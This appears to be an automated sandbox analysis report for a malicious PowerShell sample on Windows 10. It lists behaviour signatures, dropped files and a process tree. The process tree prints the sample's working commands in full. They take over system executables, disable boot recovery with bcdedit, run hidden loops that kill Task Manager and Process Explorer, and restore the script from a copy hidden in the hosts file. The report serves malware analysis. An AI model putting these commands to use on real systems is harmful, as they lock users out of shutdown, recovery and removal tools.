Analysis

  • user interaction
    yes
  • max time kernel
    26s
  • max time network
    21s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    01/07/2026, 17:58

General

  • Target
    target.ps1
  • Size 12KB
  • Sample260701-wkllysc14v
  • SHA256 dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2996
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES846D.tmp" "c:\Users\Admin\AppData\Local\Temp\gcg0laha\CSC5F46087D2CF74596876B76B534B1BC3.TMP"
        3⤵
          PID:4740
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\shutdown.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3300
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\shutdown.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1960
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\logoff.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3648
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\logoff.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1340
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\tsdiscon.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1300
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\tsdiscon.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1744
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\reset.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3872
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\reset.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3820
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1108
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B43.tmp" "c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\CSC997B0E82AA064D97BFC32145CD11ABB8.TMP"
          3⤵
            PID:3172
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.cmdline"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1168
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BC0.tmp" "c:\Users\Admin\AppData\Local\Temp\xd1eab4p\CSC27B674CE199D43DDBEDCF6A99AE4661B.TMP"
            3⤵
              PID:2524
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.cmdline"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:424
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9287.tmp" "c:\Users\Admin\AppData\Local\Temp\m2chxvzc\CSCE76718EFA3504AC99F8F7314C88395FC.TMP"
              3⤵
                PID:4508
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2792
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { # Kill taskkill, taskmgr, process explorer, etc. $badProcs = @("taskkill","taskmgr","procexp","procmon","psexec","wmic","cscript","wscript","powershell_ise") foreach ($p in $badProcs) { Get-Process -Name $p -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } # Re-apply shutdown blocker and overwrite executables if restored try { $blocker = [ShutdownBlocker]; $blocker::Block() } catch {} $system32 = [Environment]::SystemDirectory $exes = @("shutdown.exe","logoff.exe") foreach ($e in $exes) { $path = Join-Path $system32 $e if (Test-Path $path) { $content = Get-Content $path -ErrorAction SilentlyContinue if ($content -notmatch "vm_keeper") { takeown /F $path /A 2>$null; icacls $path /grant Administrators:F /t 2>$null $dummy = "@echo off`npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"C:\Windows\Temp\vm_keeper.ps1`"`nexit /b 0" Set-Content -Path $path -Value $dummy -Force } } } Start-Sleep -Seconds 30 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4952
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set {globalsettings} advancedoptions false
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3948
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set {globalsettings} optionsedit false
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4224
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3552
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3244
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { if (-not (Test-Path "C:\Windows\Temp\vm_keeper.ps1")) { # Restore from a hidden alternate data stream (store in hosts file) $backup = [System.IO.File]::ReadAllText("C:\Windows\System32\drivers\etc\hosts") if ($backup -match "KEEPER_START(.*)KEEPER_END") { [System.IO.File]::WriteAllText("C:\Windows\Temp\vm_keeper.ps1", $matches[1]) } } Start-Sleep -Seconds 5 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1728
            • C:\Windows\system32\gpupdate.exe
              "C:\Windows\system32\gpupdate.exe" /force /target:computer
              2⤵
                PID:4208

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 759df6c66dfa6270164a713e381b94b0ea97b97213d6d8f9fc7577586e7028d4
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 948B
                  • SHA256 138d9b6830a19b2aa92d2c74b8701ac16e4c6b3b6165b16d40ec9a44e0c842e0
                  • MD5 SHA1 SHA512 TLSH

                  RES846D.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES846D.tmp
                  • Size 1KB
                  • SHA256 0e4e38062102fa77fdb4023165eb9a506518a8e2dfcdc41db2e6a22ffdc2b806
                  • MD5 SHA1 SHA512 TLSH

                  RES8B43.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES8B43.tmp
                  • Size 1KB
                  • SHA256 0cfeed9b9a4770228a574345f54c6c0200b5385b2664fc33ef48fff4a888bf37
                  • MD5 SHA1 SHA512 TLSH

                  RES8BC0.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES8BC0.tmp
                  • Size 1KB
                  • SHA256 bea2f6bb81f5e403e6dd66c2e388871323c5a163187da3eb32f7239aeae5dee8
                  • MD5 SHA1 SHA512 TLSH

                  RES9287.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES9287.tmp
                  • Size 1KB
                  • SHA256 9ad319c03843922236335a618596f9915ee602053dc37a08aeee01b8c495068c
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_abbt0z0r.fzh.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abbt0z0r.fzh.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  gcg0laha.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.dll
                  • Size 4KB
                  • SHA256 a87860eee7fb3a0e83fd2d9c4623dc3498754601722888f128ce5c4735fbc36e
                  • MD5 SHA1 SHA512 TLSH

                  jfmtmd5n.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.dll
                  • Size 3KB
                  • SHA256 18e4d29500fc64119f811605b2249c9a6ae6edd67f6276140e636378101f23bc
                  • MD5 SHA1 SHA512 TLSH

                  m2chxvzc.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.dll
                  • Size 3KB
                  • SHA256 1511ee931f4cf45fc73ef5db64d54cd30dd33183e229b0cc520489c46f23199f
                  • MD5 SHA1 SHA512 TLSH

                  xd1eab4p.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.dll
                  • Size 3KB
                  • SHA256 6897b367bb3c9ab3d6ce62d770d621b331e2d129ee12878d7014814da2aafd2b
                  • MD5 SHA1 SHA512 TLSH

                  CSC5F46087D2CF74596876B76B534B1BC3.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\gcg0laha\CSC5F46087D2CF74596876B76B534B1BC3.TMP
                  • Size 652B
                  • SHA256 2e7b0069c584774d6a56b18fa3367853c31b381bcc3187965be366b41565c45b
                  • MD5 SHA1 SHA512 TLSH

                  gcg0laha.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.0.cs
                  • Size 1KB
                  • SHA256 2dbc0a67d963f6c18a462bca497bad10c22894c5ebc28d50969ddab31c66c3f2
                  • MD5 SHA1 SHA512 TLSH

                  gcg0laha.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.cmdline
                  • Size 369B
                  • SHA256 01ba1f264c26e6ad5b2158ab95b072fb617040c91bdd0acb8d3e29333d4ecec6
                  • MD5 SHA1 SHA512 TLSH

                  CSC997B0E82AA064D97BFC32145CD11ABB8.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\CSC997B0E82AA064D97BFC32145CD11ABB8.TMP
                  • Size 652B
                  • SHA256 e5c25c8ea902f487adda9b90065b4a146a5b044207da1b760d7caa8b271f3933
                  • MD5 SHA1 SHA512 TLSH

                  jfmtmd5n.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.0.cs
                  • Size 548B
                  • SHA256 5e779db676d438c491736b4d2f30b08daea3e0ffc4e50fe491a6e05f37d68642
                  • MD5 SHA1 SHA512 TLSH

                  jfmtmd5n.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.cmdline
                  • Size 369B
                  • SHA256 82dc1181a9d0b0b4875e570ac21c2d47e1b934eba2d2fa97b4cfd8fe80363e39
                  • MD5 SHA1 SHA512 TLSH

                  CSCE76718EFA3504AC99F8F7314C88395FC.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\m2chxvzc\CSCE76718EFA3504AC99F8F7314C88395FC.TMP
                  • Size 652B
                  • SHA256 f3c01e78279cb47a5e8306c9462a113e2042eaed5ee2152e562fe70d221ce672
                  • MD5 SHA1 SHA512 TLSH

                  m2chxvzc.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.0.cs
                  • Size 647B
                  • SHA256 1fa82e05df0472d6560e9350f0a6812cc1fd53429452ab1678ff5ba1c0350800
                  • MD5 SHA1 SHA512 TLSH

                  m2chxvzc.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.cmdline
                  • Size 369B
                  • SHA256 b47a27661ce2a0b1db9b101b91ec0027b626f1b9190d240ae088fa420da0e9f9
                  • MD5 SHA1 SHA512 TLSH

                  CSC27B674CE199D43DDBEDCF6A99AE4661B.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\xd1eab4p\CSC27B674CE199D43DDBEDCF6A99AE4661B.TMP
                  • Size 652B
                  • SHA256 2be9582c7b9c23fa0d7885cf84bec950c9f231dd60b8cb4af068d556b7e8a029
                  • MD5 SHA1 SHA512 TLSH

                  xd1eab4p.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.0.cs
                  • Size 343B
                  • SHA256 8f8bb45b4717e93bf9dec52ce3c79ec153df04ab8286ee7c2467001f3488c60f
                  • MD5 SHA1 SHA512 TLSH

                  xd1eab4p.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.cmdline
                  • Size 369B
                  • SHA256 5a406980608d2993bd975ef5a350133af82da2f82dea4219bfabe45e65c88b93
                  • MD5 SHA1 SHA512 TLSH

                  memory/1568-67-0x0000013EC9C30000-0x0000013EC9DA6000-memory.dmp

                  memory/1568-1-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

                  memory/1568-40-0x0000013EC9A40000-0x0000013EC9A48000-memory.dmp

                  memory/1568-66-0x0000013EC9AA0000-0x0000013EC9AA8000-memory.dmp

                  memory/1568-23-0x0000013EC99D0000-0x0000013EC99D8000-memory.dmp

                  memory/1568-53-0x0000013EC9A50000-0x0000013EC9A58000-memory.dmp

                  memory/1568-68-0x0000013ECA3C0000-0x0000013ECA5CA000-memory.dmp

                  memory/1568-10-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

                  memory/1568-2-0x0000013EC9330000-0x0000013EC9352000-memory.dmp

                  memory/1568-98-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

                  memory/1568-97-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

                  memory/1568-99-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

                  memory/1568-0-0x0000013EC7140000-0x0000013EC7150000-memory.dmp